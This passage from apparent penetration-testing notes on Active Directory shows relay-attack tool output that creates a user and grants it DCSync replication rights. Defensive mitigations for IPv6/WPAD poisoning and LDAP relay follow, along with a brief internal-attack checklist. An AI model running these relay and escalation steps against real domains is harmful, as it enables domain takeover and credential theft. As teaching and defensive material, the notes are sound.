        SubAuthority: {'\x15\x00\x00\x00\x00\xa2\xfb\x8c\xed\x0c\xd2\x89\x9a\xcd\xd3\xb8\x07\x02\x00\x00'}
    }
}

TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Attempting to create user in: CN=Users,DC=GIBSON,DC=local
[*] Adding new user with username: ExilIelyso and password: &YgK/wIC]Pan;\i result: OK
[*] Querying domain security descriptor
[*] HTTPD: Received connection from ::ffff:192.168.126.132, attacking target ldaps://192.168.126.131
[*] HTTPD: Client requested path: activation-v2.sls.microsoft.com:443
[*] Success! User ExilIelyso now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20231128-133240.restore
[*] HTTPD: Client requested path: activation-v2.sls.microsoft.com:443
[*] Authenticating against ldaps://192.168.126.131 as GIBSON\Administrator SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
```

## IPv6 Attack Defenses

---

## Mitigation Strategies:

1. IPv6 poisoning abuses the fact that Windows queries for an IPv6 address even in IPv4-only environments. If you do not use IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy. Disabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working:
  - (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)
  - (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
  - (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6- Out)
2. If WPAD is not in use internally, disable it via Group Policy and by disabling the WinHttpAutoProxySvc service.
3. Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.
4. Consider Administrative users to the Protected Users group or marking them as Account is sensitive and cannot be delegated, which will prevent any impersonation of that user via delegation.

## Passback Attacks

[A Pen Tester's Guide to Printer Hacking](#)

## Initial Internal Attack Strategy

- Begin with mitm6 or Responder
- Run scans to generate traffic
- Look at Websites in Scope
- Look for default creds on Logons